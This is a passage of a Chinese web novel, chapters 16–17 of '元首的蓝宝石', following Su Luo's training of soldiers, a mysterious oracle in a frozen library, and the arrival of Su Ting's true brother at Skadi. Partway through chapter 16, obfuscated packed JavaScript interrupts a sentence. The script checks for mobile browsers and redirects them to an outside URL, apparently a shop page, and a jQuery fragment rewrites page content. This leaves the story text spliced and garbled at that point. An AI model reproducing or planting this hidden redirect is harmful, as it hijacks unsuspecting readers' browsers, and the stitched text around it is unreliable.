然后,抱紧他孤零零立于制高点的单薄身影,也是他藏在耀眼光辉下的唯一阴霾。
安抚的话语正在蓄力,劝慰的说辞渐渐酝酿。
正当所有人甚至连布雷格都做好准备安慰他时,他一睁眼又亲自撕毁了前面惹人怜的形象。
“很好,我们进度加快,争取四个月完工。就从现在开始吧!”
“……”
果然啊。
以沉默回应的众人不约而同腹诽着。
这个苏罗少爷,果然是个魔鬼暴君啊。
16. 元首的蓝宝石16
一群狮虎狼犬在对阵一匹年幼羔羊。
这为第二训练场画面的真实写照。
他们的眼因填满杀意而深不见底,难以解读。
他们紧绷的脸除了狩猎二字便再无多余成分,冰若寒铁。
他们那或健壮或高瘦的身躯因动作的快狠,无限的蛮力,以及节节高升的攻击欲望达成一种神奇的蜕变。
仿佛这群人是返祖成功的特例,将理智与野性精妙把控,实现一加一却跨越数量级的非凡效果。
此刻,他们誓要将那头纯白的‘羊崽’扑杀。
七名战士围成的方阵,仅有两人手持军用短刀冲在最前。
两者速度一快一慢交错并进,不规律的曲线轨道拖垮敌方辨认的思绪。
——但烟雾弹的目的总归是夺取对手的项上人头,这种花哨的佯攻,只要以退为进,守牢身边就行
任何产生以上念头的人,已经死了两遍。
原因是左右同时出招的中锋,二人覆盖厚茧与拳刺的手攻向相反,一前一后封锁退路。
双脚踏地的摩擦,腰身肌肉的回转,整个上肢的牵拉。
以上三者施加在拳面上的力道已超越‘一击’的概念,使包裹在整条手臂上的猎猎拳风如同高速运转的涡轮叶片,完美的攻守一体。
下潜或空翻是不错的闪躲,可背后的剩余空间里,一双长腿瞄准间隙直踹目标腿骨。
熟悉身体构造,动态视力超群,具备这两者优势,后卫的脚掌堪比重斧。
要他毫秒间砍断一只小虫的关节也绰绰有余。
而这四人造成的攻势漩涡,强行把今天陪练的‘小羊’拖入中心。
青年以细绳将乌发束在脑后,单薄的白衣下摆轻晃,散漫如同他两手揣兜的动作。
凭借强大的周边视力和感知力,他仍能在骤雨般的攻势中腾挪躲闪,化作一道残影跃起腾空。
和他预测的一样,原先持刀的二人完成蓄力,向他掷出子弹般的利刃。
他腰肢灵活,侧闪接摇闪顺利化解。
然而咄嗟之间,第二环追击开始了。
第六人借助两名拳手的托举上跳,瞬间与他跃至同一高度。
这名高瘦的beta滞空动作虽不及他轻盈,但对平衡的把控无懈可击。
两柄短刀于空中旋转,他们各自夺下一把,重心尚未下降就已过招数回。
冷器相冲,交错的寒光要比铿锵声凌厉,攥紧旁观者的心脏。
可惜,这一波还是没能拿下猎物。
八秒的空中对战终止于重力作用,双方必须要为如何落地作打算。
有默契的队友,有熟悉的战术,更有最信赖的‘辅助’即自身演练入骨的反应力,六号的beta无需忧虑,猫儿一般及时抽身,回归队伍。
他们可不满足于等着猎物投怀送抱。
祭坛即羊羔最初所在的位置,最后的收割者七号准备就绪。
他仰起头,撤开腿,重心随之下沉。
这压低脊骨,脖颈微弯的模样,赫然是头将要飞扑撕咬的雄狮。
但他比野兽更深谙隐藏技巧。
男人的脸宽阔而平静,看不见任何细微的情绪起伏,他的视线也未曾偏移,透露心之所向。
就连他双手微敞,十指曲张的姿态也难以推断下一步动作。
对上他,就只能先手出招。
快落地的猎物眯眼丈量距离,随即选用变形的斜踢来应付。
若不躲开,男人的心窝侧颈和颅顶就是被三连击的下场。
若是躲开,匀出来的空间也正适合追击,能将他打得落花流水。
直至交锋的前一秒,七号才暴露意图。
——以手肘锁死猎物双腿,前胸后仰腰上抬,势必将人砸向地面,砸得脑浆四溅
杀招结合了鳄鱼与疯象的进攻特质,任谁也不会一下在整场窒息的连环战中想到。
如果有哪位壮士不幸惨败,还真不怪他。
极限的躲避时间里,‘小羊’即苏罗总算做了一回符合他象征的事——在被锁之前踏住对方手背,蹬脚跳开四肢着地。
他最后滑出一段距离,谨慎地落在远处的安全区。
从开始到结束,计时二十七秒六九的围杀落幕。
那七头‘野兽’,还有围坐场外大汗淋漓,早已回归士兵之身的观众,他们不约而同陷入一种奇妙的死寂。
说不出话,不敢眨眼,直愣愣地盯着某处。
一来是常年的训练所致,二来他们是目睹了不敢置信的画面,故而回不了神。
“成……成功了。”
方才的六号喃喃出声,传到嗓门更大的队友身上。
“成功了、我们成功了啊啊!”
欢呼轰然响起,下一刻全场爆发出礼炮般的乱嚎。
“终于!四个月了!”
“呜呼!!我们做到了哈哈!”
“总算挪动了、他没站在那啊啊啊——”
……
上百人的齐声呐喊,威力完全不逊于最凶猛的兽群咆哮。
吼声排山倒海,势如爆炸波浪,高台上的季宇飞被震得只能双手捂耳,哭笑不得。
但他哭笑不得的原因更多在于士兵们欢呼的理由。
耗时四个月零九天,他们终于在实战中让魔鬼总教头苏罗挪了位置。
就只是往旁边挪了十米。
仅此而已。
见呼声迟迟不减弱,季宇飞无奈一叹,有感而发道。
“不过对象是小少爷……好像是够他们隆重庆祝一下了。”
场地上,苏罗站姿依旧,睥睨的眼神逐一扫过众人,他嘴角虽然勾起,却辨不明笑意真假。
待将士们褪去激情,他才轻嗤一声。
“一个个鬼叫什么,蠢货。不过是让我换了个地继续无聊,你们的目光如果就停在这,识相的今晚就去我家后厨排队,眼珠挖出来炖汤算了。”
首次逼退他的战队领袖,即刚才的第七人尤金·哈里斯,他立马站出来接茬。
“怎么可能就这么算了,今天是让你退开,明天我跟兄弟们就会打赢你,让你连求饶的声音都发不出来。”
放的是狠话,他与身边人却是相同的神情。
集刚毅、果敢、决绝于一体,犹如在烈火中淬炼,经顽石打磨出的魔剑。
既能出击斩杀万物无所畏惧,又可随时入鞘收敛锋芒,侍奉主人左右。
而他们,以及目前支配他们的‘主’皆达成一种共识。
心性和善太软弱的人,是挥舞不起他们的。
“噢?那我等着喽。”
他们眼中的纯白羊羔哼笑,戴上兜帽晃头晃脑,摇动着帽檐上的小绒球。
“季参谋,登记一下,今天还是零人通过。”
苏罗仰头,喊出这四个月来全员都快听出茧子的总结语。
曾经还有人会对他愤愤不平,要么揣着一口恶气抱怨,现在他人还没转身,周边就有不怕死的傻大个围上来堵路。
“我离换岗还有点时间,苏罗少爷,恳请您赐教。”
“起开,你的时间肯定不够,我今天休息,我先来刚好。”
“滚滚滚,你们抢什么,我昨天就预约好了,今天我是第一个……”
从被记恨的对象荣升成热门教练,苏罗态度如故。
无论是教学还是解答,他就没给过任何人好脸色看。
但人类不亏是适应性极强的物种,他这么无差别对待全员,渐渐地反而没士兵在意他的恶言恶语了。
关键是,他的确有鄙视他们全员的资本。
而且他所说所做的,无一例外都是含金量超标的实事。
“马库斯还要加强力量,这半个月的劳务把他调到运输仓库做杂工,另外找同队的迈伦跟他一起。他俩是同乡,平时关系不错二人身形也相近,适合互相陪练。”
“丹顿左手的旧伤还是影响发挥,不用再给他多余的杂事,他更擅长侦查分析,继续留在哨塔强化。”
“另外抓紧时间请艾莫斯准尉给他安排专业课程,一个满脑子都是鬼点子的家伙却不会写几个字,说出去也不怕丢人……”
又是新一天的复盘整顿,相较过去动辄千百条目的大换血,如今在几十人以内的波动数目已是突飞猛进。
结束宣令,苏罗靠向椅背,小小地打了一个呵欠。
只一个动作,季宇飞心领神会,取来橱柜里保温的浓茶和糕点。
这些是海勒姆精心准备的下午茶,每天准时送到苏霆元帅的办公室里。现在这该叫苏罗的个人办事厅了。
“他们的试飞怎么样?”享用前的苏罗还不忘继续追问重点工程。
“托您的福,五次试飞都很顺利,预计后半年都能把精力放在全面测试上,尽快完善全套功能。”
讲到成功的大突破,季宇飞难免也心潮澎湃,礼节性的笑里更多一分真意。
苏罗点点头,终于把沾过奶的饼干丢进嘴里。
“嗯,让他们要比前期更加小心,我们这边的天气是最大障碍。无法从根本上改变和完全掌握的敌人值得永远警惕。”
“是!”
季宇飞应声,飞快在写字板上着笔。
就像整个步入正轨,日渐提速运转的基地,他处理的事务不再如前期繁琐沉冗,给足他开小差的余裕。
名为‘苏罗’的王成为他们的小少爷四个半月,斯卡蒂也结束了回暖期,正式步入残酷的冬季。
而这期间,三座主镇的道路圆满竣工。
运输途径的优化不仅让各地仓储所分配不均、存粮告急的窘境改善,还给了商会的发挥空间,带动本地产品的流通,减少漫天要价的私贩。
尽管没到人人暴富的地步,可就像他曾说的,这个冬季,斯卡蒂将不会有一位公民挨饿。
同样的,也像小少爷狠狠抨击过他的,这片雪域的未来绝不止如此。
食物只是最基本的保证,决定生活水平的根本还是能源。
在自发电的基地,士兵们的身体素质本就胜过一般人,他们直接穿着防寒制服进出雪山,冻个一两天也无大碍。
可镇上、山里的居民,尤其是那些老人幼童,几乎只靠柴火取暖,活得步履维艰。
情况稍微好点的比如佩佩郡,百姓能够开采矿洞燃煤供能,却又败在人力稀少和劳作艰苦两点。
而像其他的水风光还有原子能发电,这些方案因为缺少技术支持,更难在条件有限的雪山运用。
能源结构的滞后日复一日拖垮山脉,也封住全地进步的上限。
不过,最大的难题很快也将迎刃而解。
“上周派去探险寻宝的小分队,有什么收获么。发现你们心心念念的蓝月能源了吗?”
桌后的人突然发问,季宇飞书写的手一顿。
蓝月能源。
再听到这一名称,他不禁恍若隔世,慢了半拍抬头。
“您别拿我们说笑了,我们这会儿哪敢挂念它,能不想办法把它灭绝都算好。”
“哈!如果真办得到,我可要想法子好好赞赏你们了。”
从玩笑辨认出苏罗的好心情,季宇飞又点头应和。
“那您可务必要对他们寄予厚望,继续狠狠鞭策才是,不然也没有这次提前一个月完成的工期了。说不定未来真给他们研究出一点名堂。”
语气略不正经,可他说得全是实事。
有学生加入的研究队已扩张到四百人。
他们多是年轻的新生代,有幸离开过山脉在更广阔的首都求学,观念眼界心境更具备一种鲜活的底蕴。
而在不讲学历高低,不论辈分先后的基地实验室,每个人都有发表见解的机会。
无需顾虑人际关系,无需操心考核奖罚,脑子里就想着攻克研究一件事。
换言之,只要合适,他们就会被允许尽情释放才华,成就自我。
放眼全星区,恐怕都找不到半个与这风气相似的研究所。
功劳一半得算在主管布雷格头上。
他这以学术为天的急先锋,刁钻起来连反驳他的苏元帅都敢怒喷,怎么可能会在意区区阶层或交情。
至于他唯一没怼过,也是另一半功劳的对应者,此刻嘬着吸管,抱着整桶果汁狂喝的苏罗是也。
香甜美食攻陷味蕾,青年神态也柔和不少,他瞥一眼挂钟,两眼忽然亮晶晶。
“开始了开始了!”
雀跃欢呼一声,苏罗拿起桌上的遥控就按。
座位斜对角,全新的电视屏幕亮起。
时下热播的动画《银河少女战士》在经历两次更换播出时间的波折后,终于固定在了傍晚六点半这个黄金档。
作为它的忠实观众,苏罗这些日子一集不漏地追更。
要是忙起来抽不出时间,他还会让在家的海勒姆帮他全集录像。
而上周审阅合同时,他趴在桌上抱怨了句准点看和录播看的心情不一样,没隔几天办公室里就多出一台新电视。
能随意进出此处的就三人,电视是谁的手笔不言自明。
看着色彩艳丽的画面,沙发上的季宇飞扶住脸,为那位慷慨的富豪也是今日唯一不在场的元帅叹息。
全基地忙于韬光养晦,唯有瞩目度最高的元帅必须做样子,要像往年为物质援助到处奔走,与附近辖区交涉。
另外,他接到了去找真正弟弟的命令。
在离他们最远的南端辖区,发生了一场死伤惨重的列车相撞事故。
车站是首都出资建设的,普莱德大元帅听闻此事立马出钱出力,派出精锐部队护送伤员。
拥有更精细高端的设备,他们在治疗期间发现了一个不可能的异状。
伤员的登记数据里,出现了和苏霆一家上载的基因数据匹配的人。
对方是个年龄为18岁omega,但因为是偶然搭车路过的跳虫游民,即非本地出生,没有正规ID的星际流浪者,暂时查不到他的去向。
在苏家,苏霆双亲早亡,他本人至今独身,而他的亲弟弟苏洛从未离开斯卡蒂境内。
突然蹦出这么一号人物,简直匪夷所思。
现如今,此事还没成为公开议论的话题,但不少身居高位,人脉广泛的官员已靠着各自的渠道获得了第一手资料,都在默默观望。
在会议室得知此事时,首座上的青年只是眼眸含笑,玩味地看向苏霆。
‘这不是挺好么,省了我们大海捞针的力气。去接你弟弟回家吧。’
一想起这茬,季宇飞心情难免波动,几秒钟里切换三遍坐姿。
外界尚且停留在猜疑阶段,可对从一开始就知晓真相的他们来说,这又是件令人担忧的麻烦。
还是难以定性,大感棘手的麻烦。
四十五分钟过去,欢快片尾曲为一集圆满地画上句号,苏罗也结束旁若无人的追剧状态。
他把饼干纸团成一团丢向远处的垃圾桶,好笑地打量着参谋长。
“说吧,今天又是吃错什么药,这么扭扭捏捏。”
听他发话,季宇飞反倒迅速松了口气,接着坐正微笑道。
“苏罗少爷,我斗胆问您一句,如果苏元帅真的找到那位……您有什么想法?”
转动皮椅的苏罗没让对方等太久,但他的回答却同上一次关于‘王的类型’的问询相似。
“那么你认为,如果今天要塞的门外出现一个一无所有,能力低下,因为只会吃白饭才被逐出九十九次,也因为丑陋、软弱、愚不可及而被所有人厌弃的人,你要怎么处理。”
提问来得突然,内容也出乎意料,季宇飞思索片刻才给出个人见解。
“依在下看,还是要结合现状判断。”
“如果形式困难到我们都自身难保,收留他反而可能伤人又害己,吃力不讨好。当然,出于人道主义,我自己是想尽量帮扶一下。”
说完他开始感到紧张,眼巴巴地望向办公桌,最后试探性地问道。
“您会怎么做?”
对方挑高了眉毛,冲他绽开一个势在必得笑。
“收了。”
毫不迟疑的答复,一如那张不见半分顾虑之色的脸庞,果断到令季宇飞心神为之一夺,头晕目眩。
大抵是喜欢看到他痴傻发愣的洋相,青年向前靠了靠,双手撑住笑脸,又慷慨地补充两句解释。
“在我这里,不存在没用的人。”
“哪怕他只有自身的存在令我发笑这一点意义,我也允许他站在我眼前。”
仍旧是让旁人咋舌,直呼他妄自尊大的发言。
可那话音投入耳朵这道深井,激起余味悠长,久久不散的潮声。
季宇飞抓紧扶手,三次用力地调整呼吸,这才勉强回归原状。
最终他低下头,心悦诚服道。
“您的器量,在下果然望尘莫及。”
正因明白自身的局限,他们大多数人都会考虑合适与否,透过条条框框来取舍。
偶尔也会出现博爱的圣贤,会将无私的虚愿置于现实的实底之上。
虽是好心,却往往更易滋生事端,乃至让身边人不得善终。
而他的小少爷苏罗,坚信且定会让自己抵达无限,所以从不拘束目光。
只要是说出口的,那就绝对会做到。
无关冗杂的个体情感,是位于更高层次的抉择。
拥有如此心境,他更不可能会为另一个真正的苏洛分神忧虑。
通过今天的对话确定这两件事,季宇飞借故走开,连连擦拭手心、后颈的汗。
冒汗并非出于畏惧。
他好像一个苦苦追逐着太阳的痴人,离得越近就越感到差距极大,也被炙烤得浑身火烫。
可是,停不下来。
从阴霾遮天,诡影横行的世界跑出来的他知道,只有不断追随着太阳的脚步,他才能继续欣赏着永不落日的盛景,才能让自己的血肉多一点蒸发,融入那令他神往的光辉里。
热意于体内奔腾,许久不见消退,所以当房门被敲响时,季宇飞还是带着泛红的脸颊去迎接。
这次的访客是位意想不到的人物。
海勒姆带着一份包裹严实的文件登场,他贯彻精悍的寡言作风,说了一句‘请您过目’便行礼告退。
还没拆封壳苏罗就知道,这是他见面第一天就派给对方的任务反馈。
基于老兵巴兹的奇遇,用那少得可怜的线索寻找一个神秘的恩人。
飞快阅览完前半部分,苏罗少见地紧紧皱眉。
以为是有什么难事,季宇飞主动上前为他分忧,可是一一查看下来,参谋长也摸不着头脑。
“这些,都是近代——不,是从帝国解体时开始的事故报道啊?”
地震,海啸,飓风,楼梯坍塌……
摘取的事故种类各不相同,规模大小不一,死伤程度也没有特别的共同点。
并且,他们看起来完全没有联系。
“不,还是有的。”
阅读速度快几倍,已经翻到后半册的苏罗摊平文件,亮出专门裁剪出来的照片。
有失事现场的,也有事后的幸存者采访,还是和前半部分一样毫无共同点。
才过几分钟,季宇飞看得眼睛酸痛,五官都快皱在一起了。
如果这是‘快来找茬’的游戏,那根本就是找茬级别的难度,甚至还欠揍地不给提示。
“提示这不就来了么。”
似羽毛挠痒的笑声入耳,季宇飞才惊觉自己抱怨出声。
他慌乱又惭愧地低头,见对方一根指头按住什么东西,放桌面推向他。
颜色暗淡的旧纽扣,同心圆的纹路中间刻着一个奇异符号。
此刻的它,不仅出现在纽扣上。
幸存者外套上的划痕,倒塌房
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176278|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屋的组成的线条,气象云图上卷动的云流……
以各种匪夷所思的方式出现的它成了一个固定点,将所有毫无关联的图画,也即情景串起,让人不禁质疑它的真假。
它就像晕在镜面上的薄雾,无形无体却无处不在。
突如其来地现身,神不知鬼不觉地消失,宛如一扇通往梦境的大门。
椭圆形的边框,装饰极尽奢华,浮雕的形状更是世间难见的精巧富丽。
硬要打个比方的话,那就像一本杂烩记录手册。
所有的传说,所有的历史,以及流传在每段时域长线上的文明都被精挑细选地摘出一节,像闪闪发光,最耀眼的珠宝镶嵌进去。
无论见到多少次,默文上将都会为之仰头久驻,两只眼睛慌里慌张地扫动,怎么也看不过来。
虽说这才是他第三次见,而且前两次他根本没靠近。
这是一扇不知何时出现在普莱德家宅,也即血红王曾经的宫殿地下的密门。
“时间快到了,默文,随我一同进去吧。”
正前方,他的直属上司奥古斯·普莱德大元帅低声提醒道。
皱纹和开始发白的红发彰显着这位元帅的阅历,然他目光矍铄,气势凛然,让他看着要比实际年轻十岁不止。
怀着敬意和惧意,默文匆匆点头,跟在对方后面。
同一时刻,门在无人触碰的情况下向内打开。
里面展现的一切,无一不在颠覆现代人默文的三观。
全部,都是书。
墙为书,地为书,连固定烛台的空隙都是书与木板隔出来的夹缝。
这些毫无保护的书使整个空间看着就像危险燃料库,随时都有失火的风险。
一步不停地走着,惶恐的上将发现更诡异的事。
那些烛火虽然跃动着,可好像没有温度。
不,不对,是这里太冷了。
冷到他口中呼出白雾,脚趾发麻刺痛,厚厚的制服完全挡不住刺骨寒意,比在北境的斯卡蒂难捱数倍。
他算是想通了,为什么普莱德元帅深夜通知他来时要他多穿点。
踏着地面流动的冷雾,他最终跟对方抵达最深处。
无法适应的寒意蚕食理智,默文都不知道自己是怎么坐下,又怎么抬头看过一圈冰窟般的万书阁。
这里绝对称得起‘万书’之名。
高达二十米的书柜组成环形的迷宫空间,既能轻易困住人,也困住徘徊其中的寒冷。
在默文冻得快要失去意识时,那个令他浑身一震,抖掉冰壳的人出现了。
腰身佝偻的老头,全身裹在厚实的黑袍当中。
他右手提灯举起,因此只照亮一张崎岖丑陋,像被陨石砸过的脸庞。
痤疮结成葡萄般的痕迹,从额角挂到唇边,两颊鼻头上的脓包高高肿起,仿佛稍微一动就能喷出深色脓液,令人恶寒不已。
视觉遭受重创,默文僵在原地,还在看或躲中间循环死机。
旁边的奥古斯倒是马上起立,深深鞠躬。
张嘴刚要说什么,大元帅却被老者扬手制止。
“现在是冬天,你好久不犯的偏头疼又发作了。”
一如那副超乎想象的丑恶面容,老者的声音也是难听至极。
高低音混乱,腔调时高时低,语气好比错乱机器拼出的产物,不伦不类。
而且,他居然有胆量不对大元帅使用敬语!
回神想到这茬,刚准备借题发挥说点什么的默文又僵住了。
老者探出枯树枝一样的左手,长到打卷的指甲刮擦着冰冻的书柜表面,滋滋作响。
“唔……十一月十,十月二十九,九月九,八月……”
“酒杯两支,第三,香酥盐……”
“奶油奶油,奶油乳酪饼……”
低念着意义不明的话语,老头提灯于书架间快步绕圈,行为举止逐渐有疯癫趋势。
他令人费解,普莱德大元帅的恭敬等待又让疑惑更上一层。
“你叫默文·比德。”
冷不防被点名,默文条件反射回了声‘是’。
“你带着弗雷泽·普莱德离开首都前往北境山脉,在斯卡蒂的营地停留六十八小时零七秒,你连续三次晚餐都被肉丝卡住牙缝,用舌尖偷偷舔,却怎么也弄不下来,刚到那晚还因为腹痛放了一整夜的屁。”
不为人知的事实被精准道出,默文一脸错愕,舌头无意间扫过牙缝。
由于短暂失神,他眼睁睁看着老头用恐怖的手捏住自己下巴,左右掰着细瞧。
片刻后怪老头加重力道按压,神经质地笑了一声。
“记得叫醒你的家庭医生,出去后你要掉牙了,哈!”
局面愈发怪异,默文连忙挣开那只毛骨悚然的爪子,连连用眼神向奥古斯求救。
于是大元帅再上前半步,恭敬欠身道。
“敢问阁下,一切安好吗?”
似乎到现在为止,那老头才把大元帅放进眼里,围着人踱步,不停啧嘴发出怪声。
然后,他毫无征兆地顿住,凑在奥古斯左耳边。
“你担忧的事,不会有问题。”
他接着一抻脖子,又绕到大元帅右边。
“婚礼的白鸽会在你的头顶上方飞过,你所爱的幼子将获得新的蜕变,他也为此甘之如饴,余生无憾。”
奥古斯听完眼睛一亮,但又谨慎地追问道。
“不知您有没有听说,上周的列车事故,我的人民因此受伤惨重,我心痛不已。”
元帅问的是遇难者,老头扭曲发皱的嘴角,摇摇头退开。
“是真是假皆无所谓,因为礼堂的钟声注定会为流星般的一对新人敲响,你的夫人感动拭泪,因她毕生所愿终于得偿,恭喜,恭喜呀……你们该走了。”
听完莫名其妙的话,稀里糊涂被赶走,默文在返回的路上忍不住开口了。
“恕我直言,元帅,这样来历不明的人,您可千万要对他的谏言多加斟酌啊。”
拥有相同秘密的人会拉近距离,许是因为这点,奥古斯瞥去一眼,露出浅浅的,意味深长的笑。
“上回你们去见的苏洛并不是苏霆的亲弟弟。真正的那个就如目前流传的,是上周的匹配者。其他的,你暂时没必要知道。”
默文瞬间瞪大双眼。
一个疯老头的话,为什么大元帅要相信到这个地步?
想问却没头绪,想劝又无从下手,头脑混沌的他竟然在跨出大门前脚一滑,重重摔倒在地。
他满嘴血地爬起,擦拭的手掌正好兜住掉出来的牙齿碎块。
此时惊骇远远盖过痛感,默文上将只会仰头,看着似乎早有预料的元帅。
“我、牙、我的牙真的——那个人、那个老头……”
准确的说,那并非老头。
只是在这一次的会晤里,他选择了心仪的,也是他认为合适的面貌。
极寒书库里,他依然举灯立在原地。
“呼……”
他发出悠长的,像刚从梦中醒来的叹息。
紧接着,他敞开双臂,仰天发出喜悦的笑声。
宛如一罐装满的玻璃珠翻到,晶莹剔透的小球弹跳着随性乱蹦,在仿佛永无止歇的笑声中,他与四周都变化了。
冷雾消散,空间压缩,刚才令访客们胆寒的冰窟回归正常但仍旧壮观的书库,环形的排列密不透风。
他随手将灯放在空气中,任其似一团粘土自行揉搓,最后与书山的一层薄霜同时消失。
脚踩两摞图书,他拨弄着羽毛般轻软的黑发,脸与眼还藏在兜帽下。
“七七八八!你刚刚看到了吗!”
明明有着成年男性的声线,他却似小孩快速高抬腿,双臂学着翅膀扑扇,模样好不滑稽。
“是不存在者,是无法解读者,是胆大包天篡改者啊!”
“为什么?怎么会?好突然!怎么办!七七八八!”
“七七八八快救我!我是不是要赶紧逃!我会不会死?”
以狂喜的姿态表达惊恐,他的演技还有很大的上升空间。
因此,他呼喊的对象于他脑海应答。
【滚】
【等你真死了再叫我】
无法形容的声线,判别不了性别和语气,却准确传达厌恶这唯一一种情绪。
虽然厌恶,可他们共生一体的关系却又将他们紧密绑定。
所以,那道声音腻烦地再接一句。
【你一个已经在锁定对方查阅任务的人,安的什么心我会不知道么】
被说破小心思,原本欢快转圈圈的青年停下了,羞赧地对着食指。他的手也不再畸形了。
酝酿完毕,他抚着侧脸嗫嚅道。
“是啊,仅仅是在别人那里看了一两页,我就已经、已经——”
【想抹消掉他】
“一见钟情啦!”
【……】
像是听到始料未及的话,那道声音,或该称之为7788的系统,发出短暂且刺耳的噪音,切身演绎着‘谁的沉默震耳欲聋’。
片刻后,它又在那个陶醉撒花的青年脑中提示。
【你刚接了刺杀他的任务,用时0.001秒】
是看到的瞬间就选择接受,快得超越生理反应。
如果是因为一时激动眼拙点错,那情有可原,现在也理应懊恼或者……
“是这样吗?”
黑袍青年抛花的手一顿,随后双手高举,终于按捺不住地来了个大跳。
动作华丽又轻盈,堪比顶尖的天才舞者。
而他手舞足蹈欢呼着——
“好棒耶!”
同样耗时一毫秒做出的庆贺,换来7788相同的长久静默。
在单方面切断联系前,它发送出眼下最合适,同时也是它使用频率最高的回应。
【神经病变态赶紧去死】
17. 元首的蓝宝石17
这简直是一个疯狂的,像是精神失常的人才做得出的选择。
放弃十八年惬意的自由生活,转而来到冰封雪盖,内忧外患的极寒辖区。
危险,疾苦,无望,正如诗篇里描述的放逐之地,汇聚着人们不喜的所有事物,仿佛生来负罪,不可饶恕。
若非事出有因,自己一辈子都不可能想到来这。
因为,他最讨厌冰冷的雪了。
“嘶……”
才走出恒温的雪行车,迎面而来的强风就将身体按住,它像不由分说将人痛揍了一顿,还用心险恶的将讥笑藏进呼号之中。
“云哲哥,您没事吧?”
耳畔响起熟悉的关切,对方也将摇晃的自己搀住。
于是,他终于在不真实感中抓住一块浮木,寻回意识和声音。
“我没事,小海。”
猎猎凄风中,名为谢云哲的青年拉下挡风面罩,用苍白轻颤的双唇低喃道。
“原来这里就是……斯卡蒂。”
一座依山而建的都城,一个另类的边境要塞。
也是他名义上的,真正的家。
六个月前,他因事乘上一辆首都出发的疾速列车,因此被卷入不幸的碰撞意外。
幸运的是,他受伤不重,做了简单的检查登记后就离开了。
他是被人们戏称为‘跳虫’的黑户,身份虽不光彩,但活得并不艰辛。
全域之内只要守规矩,想来就来,想走就走。
过去遗留的,由血红王制定的法案十分成熟,既保障他们不受排挤,也让正式公民不被侵占,至今还完美调和着双方关系与权益。
不过,天总是会变的。
在如今那位奥古斯·普莱德大元帅的推动下,跳虫游民即将被要求购买额外的通行券,美名其曰为他们构建更好的生活环境,允许他们凭券进出一些过去禁入的区域。
通行券说得好听,实际不过是额外的保护费和入场券罢了。
就他所知,那些罗列出来的新区域根本不是游民为生活而必要踏足的地方,而是纸醉金迷的暗礁,到处布满欲望的漩涡,能轻易将人卷入其中,再也无法浮出水面。
而这只是要控制并榨取他们的开始。
思至此,谢云哲摸上自己冻僵的耳朵,心里默默哀叹。
在预感到未来生活的波折时,他正好得知冲击性的真相——关于自己来历的真相。
原来他并不是被遗弃的孤儿。
原来他诞生于一个将帅世家。
他真正的父母在他刚出世时就死了,导致他被人蓄意调换,流落在外。
……
多重因素作用下,他答应了北区管辖军之首——苏霆元帅的回归邀请。
这么看来他的做法并不疯狂,只是一名正常人思量再三后会做的选择。
确定动身前,他跟苏霆,也就是他亲兄弟见过三次面。
对方不愧为一军之帅,气势与其相貌相符,如同传说描绘的战神,时刻散发出一种森冷魄力,像座巨山令见者望而生畏。
恐怕除了征战讨伐,世间就没有能撼动此人的存在。
也幸亏苏霆是个冷情人,他们之间的交涉无比稳当,双方平静得像在谈一桩生意。
“真是的,明明是他们说来接我们,结果到了半天一个人影都看不见,可别是骗我们玩吧。”
同行的伙伴嘟嘟囔囔抱怨,谢云哲安抚地轻拍对方后背。
小海,即谢玉海是小他两岁的beta弟弟,但他们之间没有血缘关系。
对方的父母收留了他,他便在那二人接连病逝后揽下抚养玉海的责任。
“是我们早到了,本来我们应该坐下一趟车的,我虽然有发消息通知,不过这里的信号好像——”
话语未毕,又一阵狂风从天而降,吹得他直接倒退两步。
比他矮小的谢玉海更倒霉,张嘴接了几口雪,冷得直跳脚。
可人还没开始叫唤声呢,又一股奇妙的暖流铺散开来,冲刷着地面与他们冻僵的四肢。
他们好像被裹进无形的保护屏障。
当谢云哲放下遮挡的手,他的猜想得以证实,更多的惊讶也因此而生。
一架奇怪的银灰色飞舰停在他们上空。
近似圆盘的构造,边缘衔接错落有致的L型弯翼。
它似乎是靠气流悬在强风中,无论朝向程度如何变幻都能自动调整。
其实论大小,它远不及首都上空横行的航空战舰,至多承载二十余人,可光凭能在暴风雪中来去自如这一点,它就赢了一半。
飞舰中心降下隔板,一名文质彬彬的士官向二人鞠躬。
“初次见面,鄙人季宇飞,目前在本辖区担任参谋长一职。”
行礼之后,季宇飞直起腰笑道。
“不过参谋长说得好听,实际上我完全是属于某人的助理呢,大事小事都要我操办,所以请两位不必拘谨,当我是个啰嗦的管家就好。”
谢玉海似懂非懂地挠挠头。
简而言之,就是苏元帅的助手喽?
也因这‘助手’平易近人的态度,两名访客心情不由得放松几分,随他进入飞舰直达中层的接待室。
同样圆形的室内,空间宽敞明亮,装有六扇拱形的观察窗。
在这里,乘客能清楚的观赏下方景致。
飞舰首先越过一望无际的雪色,跨入涂着警示标识、层层严防的安检区域,随后才切进正常空域。
也就是北境防线内的民区。
宛如水晶雪球内的微缩景观——此为谢云哲看到第一眼的感受。
房屋好比沙盘模型,整齐地排在路旁,漆黑的干道纵横交错,与无数奇异的立柱相串,清晰地指明道路方向。
那些嬉戏的孩童,装运货物的工人,还有围在公共暖房周边聊天的老人,他们就像是各司其职的小蚂蚁,安宁又充实地活动着。
这与谢云哲预设中的凄苦景象相去甚远。
但看位置,此地应该是斯卡蒂最富裕的费兰镇,生活水准高不足为奇。
不出十分钟,他的推测被全盘推翻了。
接下来途径的卡达郡,霍里德镇,以及他们完全没听说过的普纳镇,无一不是相似且各有特色的繁荣风貌。
最叫人惊奇的还是卡达郡。
它的辖域中央居然修建着一大片冰蓝色的平房,在天空看去就像块雪花状的宝石,镶在洁白无垠的雪地上。
“好、好壮观,亮晶晶的好漂亮!那是什么地方?”谢玉海发出惊呼,脸几乎快贴上窗户。
“那是种植园地,我们的粮食近七成产自那里。”季宇飞走到一旁,笑吟吟说道,“之后要有机会的话,我可以带你们去体验一下采摘果实的乐趣。只要你们不是超级大胃王,边吃边摘没关系。”
从小就对食物没抵抗力,谢玉海高兴得快蹦到天花板。
“哇!还可以这样吗?太好了云哲哥,对了里面都种些什么啊?该不会是那种很酸很涩还煮不烂的‘石头果’吗,呃——”
